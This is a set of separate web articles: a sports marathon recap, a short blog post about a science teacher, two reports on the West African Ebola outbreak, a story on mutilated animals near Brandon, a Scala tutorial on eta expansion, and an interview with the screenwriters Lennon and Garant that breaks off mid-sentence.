volunteered with the service for three years.  The Department of Foreign Affairs and Trade (DFAT) confirmed it was providing assistance to an Australian woman arrested in Colombia, but would not provide further details.  Topics: drug-offences, crime, law-crime-and-justice, adelaide-5000, sa, colombia  First posted
-There are few things more unsettling than waking up one the morning and realizing that you've somehow lost an entire day. That's the exact feeling you get when you begin watching college basketball on a Monday evening and finish watching college basketball in the wee hours of Wednesday morning, all without a wink of sleep between the two bookends.  For the third straight year, I stayed awake for more than 30 hours in order to watch games that were sometimes entertaining, sometimes tolerable and sometimes unwatchable. It was awesome, and it was really, really stupid.  Here's a rundown of all the bests and worsts from year three of the marathon experiment:  Best Game: Kansas/Duke  A quick look at the list of final scores (and national rankings) makes this choice a puzzling one on the surface, but anyone who actually sat through all 40 minutes of Duke/Kansas knows how high the level of play was. The game had a superior flow to it, and it was more competitive than Kentucky/Michigan State for the first 35 minutes. Then the officials kind of took the shine off it late by awarding Kansas 13 free-throws in their last seven possessions. Basically, it was superior to the game before it for 35 out of a possible 40 minutes, but couldn't match the opener's final act. I still think that's enough to warrant the top spot.  Worst Game: Saint Mary's/Akron  I'm always disappointed at just how scarce the attendance is at this game every year, mainly because Saint Mary's home games are so entertaining to watch during the regular season. You could hear the students getting rowdy throughout the game, but the camera was set up in a way so that you couldn't see them, which gave you a visual of about 15 people who didn't appear to be wearing the home team's colors and looked like they'd rather be anywhere else. It's not exactly a shot of a caffeine at a time when you need it the most. Also, this was the least competitive game of the marathon.  Best Revelation: Tyler Haws is Mickey Parke's identical twin  For real though.  This led to a 2gether theme which made continuous appearances for the first six hours or so of the marathon.  Hardest Game To Stay Awake For: La Salle/Quinnipiac  I'm not going to lie to you, I don't really remember any of this game. In the two years previous, the 3-7 a.m. stretch was by far the hardest for me. Then the sun would come up and I'd go about my normal morning routine and my brain would become convinced that this was just like any other day. That did not happen this year.  My guess is that the successfully-achieved nap I took the night before -- something I couldn't manage in 2011 or 2012 -- had something to do with this. All I know is that I was fine through the wee hours of the night and then dead when the sun came up...and then dead again in the late afternoon during the start of Baylor/South Carolina. The flip side was that I felt way more awake when I finished than I had the previous two years. I don't know why any of this happened or what it means. I probably need to stop doing this.  Best Announcing Performance: Bob Valvano  This is the first year that the revered Kanoa Leahey from Hawaii hasn't received honor. E kala mai iaʻu, my man.  I'm giving the nod to Bob (heh) because he called the Saint Mary's/Akron game at 3 a.m. local time, and then somehow flew to Louisville to call the U of L/Hofstra game a mere 14 hours later. That's a pretty unreal day, which means something coming from me.  Best Fans: The Wichita Rockstar Grannys  This category is obviously just an excuse to bring them up and honor them with the full amount of praise they deserve.  You young ladies truly are...rockstars.  Stay golden.  Best Home Atmosphere: Florida Gulf Coast  This award probably belongs to Wichita State, but since we just honored the grannys, I felt like we should go in another direction. It's like when the big award winner actually deserves all the smaller awards too, but you have to give them to other celebrities to make sure that they'll come. It's exactly like that.  Anyway, the Dunk City fans were terrific. I had no idea that they would embrace the event the way that they did, but kudos.  Worst Home Atmosphere: Stanford  This isn't what you want to see...  Announced attendance was 5,994; looked/sounded like at least half of those fans were backing BYU. Cougar supporters represented at Stanford! — Greg Wrubell (@gregwrubell) November 12, 2013  At the Stanford game - there may be more BYU fans than Stanford fans — Ro Davies (@Ro_Davies) November 12, 2013  I know it's a Monday night for Stanford basketball fans, but this is a big game, and BYU's strong turnout is making them look bad. — Michael Lemaire (@Mike_Lemaire) November 12, 2013  .@byubasketball one of the Stanford ushers told me he hoped BYU won because "your fans are just the nicest people I've ever met." — Jae Clarke (@jaeclarke) November 12, 2013  The Oregon win was almost a week ago. Move on.  Best Team Performance: BYU  Outside of Duke/Kansas, this was the one game I would have been completely wrong about had I made predictions. I came in thinking the Cougars didn't have the size or athletes to hang with a team featuring Chasson Randle and Dwight Powell, and I left (figuratively) believing that they'll be right there with Gonzaga and Saint Mary's competing for the WCC crown. Matt Carlino and Tyler Haws can play with any guards in the country.  Worst Team Performance: Akron  The Zips did not look like a team expected to win their division, which could have had something to do with the travel and tip time. If you're going to wear a Z on your chest, you have to bring more than that...even if it is 4 in the morning.  West Virginia gets an honorable mention here for losing to a bad Virginia Tech team that it had down by 15 points for most of the first half. The Hokies were coming off of a season-opening loss to USC Upstate.  Best Individual Performance: Chase Fieler, Florida Gulf Coast  Plenty of options here, but Fieler made up the highest percentage of his team's points and almost single-handedly turned a game that FGCU trailed by 12 early into an Eagle blowout.  Best Ending: Kentucky/Michigan State  Another category with multiple options worthy of the distinction, but Branden Dawson's tip-in with 4.4 seconds to go to ice the game may have been the single biggest moment of the marathon. Obviously, No. 1 vs. No. 2 coming down to the closing seconds earns some bonus points.  Worst Ending: Baylor/South Carolina  While this may have been the most dramatic ending of the day, a lengthy referee huddle followed by an announcement that the game was over provided the most unfulfilling marathon finish. You would have loved to have seen the Gamecocks have a shot to send the game into overtime with zero seconds on the clock, especially since it was a game you kind of felt like they deserved.  Best Highlight: Jabari Parker's one-handed alley-oop finish  It's impressive enough on its own...  But it gets even cooler when you examine the eerie similarities between it and Grant Hill's dunk for the same team, against the same opponent.  Biggest Disappointment: Jarrell Martin's injury  The highly-touted LSU freshman tweaked his ankle just one minute into his first college game and never returned. The Tigers still played UMass down to the wire in one of the marathon's more entertaining games.  Full Game Rankings:  1) No. 5 Kansas 94, No. 4 Duke 83  2) No. 2 Michigan State 78, No. 1 Kentucky 74  3) BYU 112, Stanford 103  4) No. 23 Baylor 66, South Carolina 64  5) Massachusetts 92, LSU 90  6) Virginia Tech 87, West Virginia 82  7) Cincinnati 68, NC State 57  8) New Mexico State 95, Hawaii 88  9) La Salle 73, Quinnipiac 67  10) No. 16 Wichita State 66, Western Kentucky 49  11) Florida Gulf Coast 65, Hartford 51  12) Saint Mary's 85, Akron 63  All Tip-Off Marathon Team  Chase Fieler, Florida Gulf Coast: Scored a career-high 30 points as Dunk City overcame a slow start to take care of business against Hartford.  Julius Randle, Kentucky: The freshman star dominated the middle against Michigan State, scoring 27 points to go with 13 rebounds.  Jabari Parker, Duke: Introduced himself to the sports world with a dazzling 27-point performance that was highlighted by a one-handed alley-oop cram.  Tyler Haws, BYU: Poured in a marathon-high 31 points as the Cougars dropped 112 on Stanford in what might have been the most impressive performance of the 24 hours.  Chazz Williams, UMass: The marathon darling notched 24 points and dished out eight assists as the Minutemen held off LSU, 92-90  Food And Drink Consumed  1 Mountain Dew Kickstarter  1 Rockstar energy drink  2 Cups of coffee  3 Cheese sticks  1 Weird asian fried rice thing  3 No-bake cookies  2 Pieces of caramel coffee cake  9 Bagel bites  8 Pretzel sticks with dip  5 Handfuls of sweet tart minis  2 Gummy vitamins  It will take my body no less than two weeks to fully recover from this exercise. For the third straight year, this feels like it was a massive mistake.  More from SB Nation College Basketball  • What to watch in college basketball's 24-hour marathon  • Wiggins, Randle and Parker impressive in debuts  • Why the 2013-14 college hoops season will be one of the best ever  • AP names preseason All-Americans | SB Nation's All-Americans  • Andre Dawkins has a story (and he'd rather not talk about it)
-Dale McGowan‘s daughter came home last month and was gushing about one of her teachers:  “We started evolution in science today.” A tickle of dread went down my spine… “And?” “And it’s awesome. He’s teaching all about it, just like you would. He explained what theory really means, and said that the evidence is incredibly strong for evolution, and when kids started saying, ‘But the Bible says blah blah blah,’ he just put his hand up and said, ‘You can talk about that with your minister. In this class we are learning about science, about what we know.”  We’re so used to criticizing bad science teachers that it’s easy to forget how to react when you hear about one who teaches it correctly!  After taking all this in, Dale offers excellent advice (emphasis his):  … we’ve got to get just as good and consistent at complimenting the good as we are at complaining about the bad. It’s not just a question of good manners. If we really care about quality in the classroom, it’s a practical imperative.  Coming from a teacher’s perspective, I can tell you the whole mood of our office changes when one of us gets a positive email. (And CCs the boss on it.) It doesn’t happen often — because, again, parent are generally more used to tearing apart bad teachers instead of praising the good ones — but when it does, the teachers are on a cloud the rest of the day.  It makes you want to rush back into the classroom and do an even better job with the kids.
-Days after returning from West Africa, Director of the Centers for Disease Control and Prevention Thomas Frieden opened a press conference with a sobering admonition about the effort to contain the Ebola epidemic to West Africa: “The window is closing.”  In an impassioned call to action, he urged American doctors, nurses, and health care professionals to join Africa in its fight. “This isn’t just the countries’ problem,” he said. “It’s a global problem.” With vivid detail, Frieden painted a gruesome picture of overcrowded isolation centers in Liberia, Sierra Leone, and Guinea, where health care workers are struggling to keep up with “basic care.” He mentioned deficiencies not only in the number of doctors, nurses, and health managers available, but the protective gear needed to keep them safe. Without an immediate change in the current landscape, he said, the worst is yet to come. “The level of outbreak is beyond anything we’ve seen—or even imagined,” Frieden said.  At one particular 35-bed facility, Frieden described the chilling sight of more than three-dozen Ebola patients without beds, left with no other place to fight their infections but the floor. The health care workers, too, face “distressing” conditions. “Roasting hot” personal protective gear including robes, masks, boots, and goggles, make simply drawing an IV a near impossible task. “It is very difficult to move…sweats pours into goggles, [the health workers] see the enormous need but the great risk, too,” he said.  But even more alarming than the disturbing images, was the lack of outside support. “The most upsetting thing I saw was what I didn’t see,” he said. “No data from countries where it’s spreading, no rapid response teams, no trucks, a lack of efficient management,” he said. “I could not possibly overstate the need for an urgent response.”  Outside of the isolation centers, the burial process poses its own unique challenges. With the bodies of Ebola victims even more contagious after death, those who handle them are put at great risk of infection. In his travels, Frieden recalled meeting with young men of a burial team working well past 10 p.m. in full protective gear to bury Ebola casualties. After close to 15-hours of grueling work wrapping the bodies, sanitizing them with bleach, and lowering them six feet into the ground, many return home to families who have ostracized them for fear they carry the infection, forcing them to sleep outside on the ground.  Not burying these bodies properly, Frieden says, poses even more of a threat to the community. When he asked how an Ebola intelligence officer was in the elevator one day in West Africa, he was saddened to watch her respond instantly: “Terrible.” Just days before, the officer told him, 19 bodies of Ebola victims were left lying outside with few men to bury them. The next day, over 35 new cases had developed.  In another harrowing scene, Frieden described meeting with a 22-year-old girl who had been infected with Ebola in Liberia. Fatima, as he called her, had been caring for a young family member suffering with diarrhea and vomiting, when she herself contracted the disease. Even more traumatizing than her own battle with the infection, from which she eventually recovered, was watching her older brother lose his battle. “When I asked her what was the hardest thing…she broke into tears and said she was next to her brother when he died,” said Frieden. “She was horrified by the symptoms he was having—and terrified that she was next. That’s the reality the people in this regions are dealing with every single day.”  In urging Americans and other global health workers to get involved, he stressed that if proper precautions are taken, the work is not dangerous. The CDC director used his own recent experience in West Africa as proof that medical professionals can remain safe. “Swaddled in protective gear” he was “sprayed down with bleach every step of the way” to ensure he was safe. “Turning this around will require lots of effort and highly specialized people. Doctors, nurses, health administers, emergency managers. People who can stay for three months or more,” Frieden said. “The longer you are there the more effective you can be.”  Frieden also called on companies in the private sector to step up their response, saying that that the U.S. Embassy has reached out to corporations who have facilities in the area. Firestone, whose West African rubber factory is the largest in the world, built its own isolation center for the 73 contacts in their company. Eleven ended up contracting the disease, all of which were treated at Firestone’s own facility. “I think it’s in their interest sooner rather than later to get involved,” he said of companies in the area.  When reporters probed Frieden about potential vaccines, he managed expectations of finding a viable treatment option in enough time. “Vaccines have begun clinical trials, but we don’t have large quantities, and even if they’re safe, we have to figure out if they are effective.” The supply of one treatment known as ZMapp, Frieden confirmed, has been completely exhausted. Making more is “extremely difficult,” and not a viable solution time-wise. “We can hope a vaccine works out, but we can’t count on it,” he said.  Despite the chilling report from his West Africa trip, Frieden “remains confident” the there’s still time to contain the epidemic. “I saw many signs of hope,” he said, praising health care workers working around the clock to contain the disease. “I held a 2-year-old kid who is a survivor. Her parents have died but she’s being raised by family…she’s a symbol of hope,” he said. “The survivors are living proof that you can beat this.”  Frieden ended his talk with a final plea to the international community. “There is nothing mysterious about we need to do,” he said. “The only real question is if we’ll do it fast enough.”  If we don’t, there is no telling how far it will go. “For every day that this continues to spread in West Africa, the likelihood of someone getting infected and transmitting it elsewhere increases,” he said. “As long as Ebola is spreading anywhere, all of us need to be concerned.”
-WARNING: This story contains details that may be disturbing to some readers.  The RCMP is looking into several gruesome discoveries of animal carcasses left mutilated by the side of the road near Brandon, Man.  At least six animals have been found dumped in a rural municipality outside Brandon. At least two had their ears cut off.  Hobby farm owner Heather Eagle Bears says she found a dead miniature horse by the road leading up to her house. A few days later, she discovered a mutilated goat at the side of the road. The animal had been tied up and dumped.  "It was quite disturbing," Eagle Bears told CTV Winnipeg on Wednesday. "It was pretty close to home and they didn’t get there by themselves, obviously."  None of the animals belonged to Eagle Bears, but she says they seem like they might have been somebody's pets.  She added that responsible farmers have a "method" for dealing with dead animals, and this isn't it.  "I've never seen anything like this before," Const. Tyler Schryvers, of Brandon RCMP, told CTV Winnipeg.  Police say four more dead animals were reported on Tuesday. Three coyotes and a raccoon were found in a ditch near where the pony was discovered.  RCMP are investigating the deaths, but many questions remain.  "I saw the carcasses and I couldn't tell you if the animals were alive, how they were treated before they were dispatched or what the cause of death was," Schryvers said.  Investigators say they're hoping to identify the individual responsible.
-January 9, 2011 — Mario Gleichmann  Welcome back to another episode of Functional Scala!  First of all, a happy new year to all of you – this year will bring a bunch of new episodes about ‘Functional Scala’ to you, so i hope we’ll grasp a better and better understanding over time on how Scala enables us to write functional code. Again, we’ve only scratched the surface so far – there are far more basic functional concepts (like curried functions, algebraic datatypes, pattern matching, …) to come, before we dig down into some more advanced topis like catamorphisms (sounds cool, eh? But trust me, the idea behind is really simple – you even saw already some examples of it using folds) or type classes and some of their instances (i.e. Functors, Applicatives and even – drum roll – those ubiquitous mentioned ‘warm fuzzy things’ , ehm i mean Monads).  For this episode, we’ll get back into the act really slowly by repeating some stuff of past episodes. We’ll focus on a rather technical aspect of how Scala treats methods when it comes to mix those into the functional game. Let’s repeat some of the core chracteristics for functions: we’ve said that functions are first class values, coming with its own type:  val isEven : Int => Boolean = ( x :Int ) => x % 2 == 0 ... val evenNums = filter( isEven, List( 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ) )  C’mon – this is boring. We already knew that. Yeah, i know! But the one thing i want to re-emphasize is the fact, that every concrete function always boils down to a value of a certain function type (in this case Int => Boolean). And since a function is a value, it can be assigned to a name (in this case isEven) and passed to another function just as all other ordinary values like Lists or integer values (in this case function isEven is passed to function filter, which qualifies filter to be a so called Higher Order Function).  Now – in contrast – take a look at the following method, which looks quite similar to our function isEven:  object SomeFilters { ... def isPositive( x :Int ) : Boolean = x > 0 }  You may say that method isPositive looks pretty like a normal function: there’s an argument value of type Int which goes in and another value of type Boolean which is returned by the method (similarly, the last expression within the methods body is also the return value of the method). So far for the similarities! But what may be the type of that method? Uhm, while a method is always a member of a certain type (a singleton object in our case), a method itself doesn’t feature its own type at all! Of course you can say that a method features a certain signature (in this case ( Int ) Boolean ) which almost looks like a function type (like Int => Boolean), but you may remember that this is only syntactic sugar for a Function Trait, e.g. Function1[Int,Boolean]. So in Scala, a function is always a value, represented as an object during runtime which implements a certain Function Trait (while a method isn’t represented as an object in its own right at runtime. It’s rather a member of an object).  So a method can’t be seen as an autonomous value like a function – but it virtually looks like a Function, if we compare its signature with the type of a function, right? So the enthralling question is, what happens if we try to pass the above mentioned method isPositive to a higher order function, which expects a function of a similar type:  val filter = ( predicate :Int => Boolean, xs :List[Int] ) => { for( x <- xs; if predicate( x ) ) yield x } ... val positiveNums = filter( SomeFilters.isPositive, List( 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ) )  What have we done? We just called a higher order function filter, which expects a function of type Int => Boolean and instead of passing a function, we just referred to a method isPositive whose signature ( Int ) Boolean looks quite similar!  Now guess what’s going to happen if we try to compile and run that piece of code. The compiler will … not complain! Further on, that piece of code will run smoothly and produce an appropriate, compatible result as if we had passed a function instead of a method. But how can that be? We’ve just elaborated lenghty on the fact, that a method is not a function, yet filter clearly expects a function as its first argument! Something really magical must go on behind the scenes … (please act now and imagine some strange melody as in the Thrillers of Edgar Wallace) .  Well, what’s going to happen behind the scene isn’t that magic at all. In fact it’s so easy that you could do it easily all by yourself. Since we already got all ingredients which we are going to need, let’s think a moment how we could achieve to use that method isPositive for doing all the heavy work (in deciding which integer value may be a positive one). Since all problems in computer science can be solved by addding another level of indirection, what about writing a wrapper function, which in turn delegates to our method?  val wrapperFunc : Int => Boolean = ( x :Int ) => SomeFilters.isPositive( x ) ... val positiveNums = filter( wrapperFunc, List( 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ) )  See, this one will work as we explicitly wrap that function around … and isn’t that difficult! Of course, we also could leave that syntactic sugar behind and define the wrapper function by directly implementing the appropriate Function Trait:  val wrapperFunc : Int => Boolean = new Function1[Int,Boolean]{ def apply( x :Int ) = SomeFilters.isPositive( x ) }  Coming from an object oriented background, you now may got a better feeling, since it simply looks like calling the method of an object from inside the method of another object (and in fact, it is!). And this one should be pretty business as usual for all of us. Well, this trick we’ve done (if you’re a fan of design patterns, we could call it the Bridge pattern for bridging some incompatible interfaces) for coercing a method into something where a function is expected, is so easy that even the compiler can detect and do it. In fact, this automatic coercion got an own name – it’s called Eta expansion. As you’ve seen, you could do it by yourself, but since it’s just some boilerplate code, the compiler will take that boring work away from you.  Of course, the context in which eta expansion takes place has to be unambitious, so the compiler can confidently coerce a method into a function. Let’s take a look at a admittedly somehow contrived example …  def sum = 1 + 2 ... def sum( x :Int, y :Int ) : Int = x + y ... val sumAsFunction = sum  What we have here is an overloaded method sum. The first one takes no argument and calculates the sum of two fixed integer values, whenever the method gets called. The second one takes two integer values and returns the sum of both. Now take a closer look at sumAsFunction. Since we didn’t annotate any type, type inference kicks in. The compiler tries to resolve the whole expression and infers the type by the resolved value. Unfortunately the compiler ignores our wish to refer to the second method and coerce it into a Function, since this dull compiler simply ignores our name (…AsFunction) where we clearly stated our intention. Instead the compiler asumes by default that it’s simply a call to the first method (while there is no assisting information), hence sumAsFunction refers to a value of 3 which is of type Int.  Ok – so far so good. But what if we really want to coerce the second method into a function? Well, in this case we have to pitch in for the compiler. There we have two options. The first one is to give an explicit type annotation, so the compiler knows that coercion have to take place:  ... val sumAsFunction : ( Int, Int ) => Int = sum  Ahhh, now we force the compiler to do eta expansion, since the simple call of the first method would result in a value of type Int which is clearly in conflict with the stated type for sumAsFunction! So there’s only one chance for the compiler to get out of trouble – that is to coerce the second one into the intended function type.  Since we’ve already introduced the magical underscore as a jack-of-all-trades while discovering some shortcuts within function definition, he’s again on board if we want to initiate eta expansion more explicitly. So the second option to force the compiler to coerce the second method into a function is to explicitly refering to the methods so called method value, simply by quoting some underscore behind the method name (instead of the methods arguments). Since the method is overloaded, we have to give the compiler some more hints, so the compiler can be absolutely sure we like to refer to the second method. That’s done by quoting an underscore for each unapplied argument (accompanied by the arguments type) :  ... val sumAsFunction = sum ( _ :Int, _ :Int )  Again, since we explicitly refer to the method value (you can think of getting a reference to the method itself, instead of the result value of a method), eta expansion kicks in and leaves a function of type ( Int, Int ) => Int, which the compiler derives from the method signature. Hence sumAsFunction is of our intended function type – hooray!  Summary  In this episode, we discovered on how to mix methods into the functional game. We’ve seen two options for mostly automatically coercing methods into functions. The first one is to refer to a method by simply stating the methods name without its argument list (which would be a simple method call) wherever a function is expected. In this case the compiler will implicitly performing eta expansion. A more explicit form is represented by the second option, where we apply the underscore after the methods name (instead of the methods argument list). In this case we explicitly refer to the so called method value.  Either way, you have to be prepared for some pitfalls. Since methods belong to objects, and objects typically offer some state which may be refered or manipulated by the objects methods, you may coerce methods into impure functions!  Either way, with eta expansion you now have another cool word within your glossary, with which you can impress your team mates … Fun aside – with eta expansion absorbed into your mental model, you now are able to expand the space of possible function candidates at your hands. As we will see in a further episode, methods are the only way to come close to what is called polymorphic functions (together with eta expansion).  Either way, it’s an easy way to use methods and functions interchangeably whenever functions are needed (and may be one of the main factors why so many people confuse functions with methods, e.g. refering to methods as functions).
-This article is over 2 years old  World Health Organisation had just announced ‘milestone’ of no new infections in neighbouring Sierra Leone when latest fatalities came to light  Two Ebola deaths and three suspected cases in Guinea 'flare-up'  Two people from the same family have died from Ebola in Guinea, the government has said, in the first re-emergence of the virus in the country since an outbreak was declared over in December 2015.  Ebola vaccine trial in Sierra Leone battles against fear and logistics | Kate Holt Read more  Test samples from the two patients “revealed the presence of the Ebola haemorrhagic fever virus”, the government said in a statement, while officials feared further suspected cases. “For now we have two confirmed cases and three suspected cases.”  All five were from the town of Korokpara in the southern region of Nzerekore.  “The health authorities have taken the appropriate measures to contain the spread of the disease,” the statement said.  The announcement came on the same day that the World Health Organisation said the latest flare-up of Ebola in neighbouring Sierra Leone had officially ended.  The UN health agency confirmed Guinea’s new cases. “Two people have tested positive for Ebola in N’zerekore Prefecture, Guinea,” said the WHO.  A source close to the local anti-Ebola co-ordination team told AFP that the two deceased patients were a married couple who had both shown symptoms of vomiting and diarrhoea.  “That attracted the attention of local people who alerted the health services in Nzerekore,” he said on condition of anonymity.  The worst Ebola outbreak on record has claimed more than 11,300 lives since it first began in Guinea in December 2013.  Nearly all of the deaths occurred in the three hardest-hit west African countries of Guinea, Sierra Leone and Liberia.  While the WHO hailed the fact that Sierra Leone had seen no new cases for 42 days – or two Ebola incubation cycles – as “a milestone” earlier on Thursday, it also warned that a recurrence of the tropical disease remained a possibility.  “WHO continues to stress that Sierra Leone, as well as Liberia and Guinea, are still at risk of Ebola flare-ups, largely due to virus persistence in some survivors, and must remain on high alert and ready to respond.”  The WHO declared Guinea Ebola-free on 29 December, followed by Liberia on 14 January.
-Thomas Lennon and Robert Ben Garant lead double lives. In one, they’re part of the sketch-comedy troupe The State and the creators of Reno 911!, the hit series that ran for six seasons on Comedy Central. In the other, they’re the screenwriting duo behind self-described “schlocky” movies like Night At The Museum, The Pacifier, Taxi, Balls Of Fury, Let’s Go To Prison, and perhaps the most infamous, Herbie: Fully Loaded. (The average A.V. Club grade for one of their films is C-.) Critical drubbing aside, Lennon and Garant have found considerable success—$1,467,015,501 to put a number on it, as they do in the introduction to their new book, Writing Movies For Fun And Profit: How We Made A Billion Dollars At the Box Office And You Can, Too! (All proceeds from it benefit the USO.) Considering the title and the cover image of a tuxedoed Lennon and Garant being tended by two scantily clad women, readers could be forgiven for thinking the book is jokey, but Writing Movies is an almost ruthlessly practical guide for working inside Hollywood. Many books cover the process of crafting a screenplay—for comparison, The A.V. Club picked up Syd Field’s Screenplay at a garage sale in Hollywood, appropriately enough—but Lennon and Garant’s may be the first to take a macro look at screenwriting. It covers everything from the strict formatting rules of screenplays to how to handle getting fired to taking notes. Just before the book’s release, The A.V. Club spoke with Lennon and Garant about getting into screenwriting, their awareness of their image, and the joy of being Hollywood’s court composers.  The A.V. Club: Most people will know you from Reno 911! and The State, but how did you make the transition into movie work?  Advertisement  Tom Lennon: There’s a logic to it, but it was very accidental. The logical way it happened is that without us knowing about it—you know how in Karate Kid, all the stuff he’s doing, the wax-on and all that stuff that was teaching him how to do karate? For us, The State was teaching you how to work in a studio system. It was accidentally teaching us. It was the “wax-on” version.  Robert Ben Garant: We pitched every day at 3 o’clock to 10 guys who were rooting against you, who you were in direct competition with to get your sketches on the air.  TL: So you had to be generating tons and tons and tons of material every single day. You had to be working on a sharp deadline.  Advertisement  RBG: You had to be willing, when they said they don’t want it, to throw it away and start over with something brand new. There were guys in The State who would take one script and rewrite it and rewrite it and rewrite it and fight for it for a whole season, and after a couple of seasons, you realized that doesn’t work. You have to just be willing to throw something away, no matter how good it is, and write a better joke. And that’s what it is working here: You have to be passionate, and yet throw yourself away. You have to work your ass off all the time, and you realize, as a writer, you can’t win the argument about whether your work is good.  TL: It’s way, way faster to write something else than to argue about it for a long time. Like at The State, Ken Marino sometimes throwing chairs across the room, which did happen on occasion.  AVC: How long did it take you to get a good handle on how this business works?  TL: I think we’re still in that process. But eight films in, we know a lot of the pitfalls. That’s why we wanted to write the book. By the way, I looked up Syd Field, who has, like, two credits. Mnemosyne and Men In Crisis, 1964. Three episodes of a TV series in 1964. When you combine all the credits of all the other screenplay-book writers, you get, like, one or one-and-a-half credits.  Advertisement  AVC: Yeah, a lot of these books seem to be written by non-writers. Field was an executive. In his book, he talks about looking at thousands of scripts.  TL: You can learn way more in one day of working for the studio. It’s just a different thing.  RBG: We came in as weird, New York, jaded sketch guys, and we’ve had successes and failures, and after doing it for a decade, you learn that there’s only about 70 people in this town, and you run into them over and over and over again. Be nice to them.  Advertisement  TL: Yeah, be really super-wonderful to be around, on top of writing really, really fast.  RBG: When we first started to write our first movie, You Are Going To Prison, we wanted it to be crazy and unique, brand new, our voice, not like anything that’d ever been before. It took us about a year to write our first script.  TL: And then we were like, “Oh, fuck it. You know what? The guy’s gotta win at the end.”  Advertisement  RBG: The guy’s gotta win at the end.  TL: Eventually we were like, “Oh wait a second! The reason this keeps not working is because we kept breaking all the rules.” I’m not arguing that the movie ever did work, because, God bless [director] Bob [Odenkirk], but the end was kinda weird.  RBG: You go into prison on page 10, and you get to turn the tide on Icepick by tricking him on page 45.  Advertisement  TL: So as much as we thought we were coming in and being like The Sex Pistols and like punk-rock dudes—  RBG: But their songs are still chorus, verse, chorus.  TL: Yeah, absolutely! Same with The Clash.  RBG: The Clash were like verse-verse-verse-chorus, and they were catchy. So no matter what you’re doing, no matter how unique your voice is, you have to learn that a studio movie has an exact formula that you stick to. You need to learn that, unless your lead character is written in a way that one of the 20 movie stars want to play him, your movie will not get made. You can write for yourself at home all day. This book is for writing movies that actually will sell in Hollywood.  Advertisement  TL: But beyond that, it won’t get made. Some screenwriting teachers have sold some screenplays. That’s part of step one. There’s still 95 percent of the process after the fact.  AVC: The book is practical almost to a fault because you acknowledge great rule-busting work, but you pretty sternly advise keeping to the rules. At what point do you think a person can start moving beyond that stuff?  TL: The structure rules? Never, if you’re gonna write studio movies. The structure rules are always true.  Advertisement  RBG: That said, James Cameron, you know, Titanic is super long. Avatar’s got its own weird shape to it. But that motherfucker started with Terminator, and on page five, a Terminator comes to earth to kill somebody. On page 10, the good guy tries to save Sarah Connor. That movie is a machine, and it’s totally structured, and it’s totally marketable. And it’s got a cool robot with the sex scene.  TL: Our general rule is look at the structure of Die Hard, and if you’re not doing that, you’re probably wrong. You don’t have to have Hans Gruber in it, but… Night At The Museum, basically we just pitched it like, “Oh, it basically has an identical structure to Die Hard.”  RBG: With magic instead of terrorists.  TL: Yeah, exactly, and a T-Rex instead of Alan Rickman. Although, a giant Alan Rickman would have also been cool.  Advertisement  AVC: The cover of the book—  TL: There’s a lot of cleavage, considering it’s a screenwriting book. That is a lot of boobs. Let’s face it, man.  AVC: Yeah, it is a lot of boobs, and people who are aware of your comic sensibilities might expect this to be a lot jokier than it is.  Advertisement  TL: Yeah, that was really the agenda, which is say all the stuff that isn’t in any other screenwriting book. Because honestly, no one really knows about it, I don’t think.  RBG: Nobody that’s written a book knows it.  TL: Anyone who was writing a real book about writing for the studios would have chapters about how to get fired. And how to get rehired. How to do rewrites.  Advertisement  RBG: And, like, formatting.  TL: A lot of formatting in screenplay books is wrong.  RBG: It’s wrong, yeah. Like, you come here out of film school and you know nothing. The assumption that, because you can craft through the script, you’re gonna work out here is crazy. Yeah, you need that, but that’s about 10 percent of it. And so we were trying to help people not be as bewildered. We learned this stuff while working here, and it’s easy stuff to know. Just nobody’s put it in a book yet.  Advertisement  [pagebreak]  AVC: That Syd Field book spent much more time on building characters and it’s much more about—  TL: Those books focus on the stuff that you can’t teach someone.  RBG: You can’t teach somebody how to be a good writer.  TL: We can teach you the hours that you’re supposed to write—which is every waking moment for the most part.  Advertisement  RBG: We can teach you the structure that your script has to be in if it’s going to be sold to a studio. But coming up with good characters? You can’t teach that. I would argue that if Syd Field could do it, why didn’t he? [Laughs.] It’s silly. You can teach people to paint, and you can teach people shading and form. You can’t teach someone to be a good painter. You can only teach them the rules.  AVC: The chapter that sticks out is the one about parking lots, which says that where studios allow you to park reveals what they think of you. It was a funny look into unsaid politics.  TL: There’s a lot to know that no one knows, and by the way, not a lot of it is good. We could give you the good news and the bad news. The fact is, if you’re going to work in the studio system, you absolutely will get fired off of everything you’re doing. But also, our book, I think, is pretty upbeat and optimistic. We’re not bitter studio hacks. We’re happy studio hacks.  Advertisement  RBG: Yeah, we love it.  TL: I’ve been comparing us a little bit to the court composer Salieri.  RBG: Who was happy as a clam until Mozart showed up.  TL: Until there was a Mozart for him to be compared with, he was having a great time, I think! It’s good to be the court composer. I mean, until Mozart’s around to make him go insane.  Advertisement  AVC: In this kind of business, people tend to discourage anybody else from trying to break in, but this book is encouraging.  TL: Well, thanks. I think there’s a couple things about it, because it’s something that so many people want to try their hand at, and it’s almost impossible to succeed. To get one movie made, I would argue, is almost impossible. So we have certainly tried to demystify as much as we can from the process.  RBG: You get treated like shit as a writer in Hollywood—you’re lower than the doormat. The writer’s the first guy to get fired. So a lot of writers have this chip on their shoulder that manifests itself in trying to mystify the process and talking about how “I sit at my typewriter every day and read.” I think it’s to make themselves feel better, and as a result, like it spooks the shit out of young writers. It’s not magic, and it’s not therapy. It’s a job.  Advertisement  TL: You should be cracking out about 10 pages a day.  RBG: You can’t learn about it sitting around thinking about it, and you don’t learn about it bitching on comment boards about how Hollywood sucks. Like, look at it, “Okay, that movie sucked and yet those writers keep getting hired over and over and over. Why?” Like there must be a reason! There must be a reason A) why they get hired over and over and B) why do their movies turn out sucky? People need to think about it, check their snobbery at the door, and look at it as a job. In our spare time, Tom is doing this movie that he has creative control over that’s a low-budget comedy, and I just wrote a horror movie that, knock on wood, seems to be pretty close. We did it for fun.  TL: You notice that the “fun” is crossed out on the book. We made a real point of crossing that out.  Advertisement  AVC: So many times in the book, you drive home the point that the movie is no longer yours once it’s sold. It’s the studio’s. But you have the chapter on Herbie: Fully Loaded where it sounds like you weren’t taking your own advice.  TL: That was a real hot mess for us. We were still figuring out the system. We could have stayed on that movie if we had not been such dicks. [Laughs.] We just simply would not give on a couple things. Which, by the way, you’re the writer—fucking give on those things!  RBG: If we had stayed through to the end, it probably would have been a much better film than the one that it turned out to be.  Advertisement  TL: We certainly had not learned a lot yet, including how to make people’s bad ideas work. What we did on that one was we just drew a line in the sand and were like, “We’re not gonna make this 